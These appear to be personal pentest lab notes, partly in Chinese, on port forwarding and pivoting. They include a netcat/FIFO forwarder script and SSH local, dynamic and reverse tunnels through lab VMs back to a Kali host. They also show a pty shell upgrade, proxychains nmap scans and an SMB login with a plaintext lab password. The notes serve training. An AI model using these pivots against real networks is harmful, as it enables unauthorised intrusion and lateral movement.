【Tunnel】portforwarding
Port forwarding
#!/usr/bin/env bash
# https://gist.github.com/holly/6d52dd9addd3e58b2fd5
set -e
if [ $# != 3 ]; then
echo 'Usage: nc-tcp-forward.sh $FRONTPORT $BACKHOST $BACKPORT' >&2
exit 1
fi
FRONTPORT=$1
BACKHOST=$2
BACKPORT=$3
FIFO=/tmp/backpipe
trap 'echo "trapped."; pkill nc; rm -f $FIFO; exit 1' 1 2 3 15
mkfifo $FIFO
while true; do
nc -l $FRONTPORT <$FIFO | nc $BACKHOST $BACKPORT >$FIFO
done
rm -f $FIFO
- 如果我們擁有 root 權限,我們可以使用 iptables 創建端口轉發。對於特定主機的 iptables 端口轉發設置可能取決於已經存在的配置。要在 Linux 上轉發封包還需要在我們想要轉發的接口上啟用轉發,這可以通過向 /proc/sys/net/ipv4/conf/[interface]/forwarding 寫入 "1" 來實現(如果尚未配置允許的話)。
SSL forwarding

靜態
# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215)
# 靜態 ssh -N -L 0.0.0.0:{vm1_port}:{vm2_ip}:{vm2_port} database_admin@10.4.50.215
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215
動態
# kali -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)
# 動態port forwarding
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
# 修改設定檔
kali@kali:~$ vim /etc/proxychains4.conf
# kali -> vm1 (192.168.248.63 | 10.4.50.63) -> vm2(10.4.50.215|172.16.50.215) -> vm3(172.16.50.217)
# smbclient
kali@kali:~$ proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
# namp
kali@kali:~$ proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217
SSH 遠端靜態
# 都是在VM1下
# kali(192.168.118.4) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
SSH 動態遠端
# 都是在VM1下
# kali(192.168.118.4) -> vm1 (192.168.50.63 | 10.4.50.63) -> vm2(10.4.50.215 | 172.16.50.215) -> vm3(172.16.50.217)
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh -N -R 9998 kali@192.168.118.4
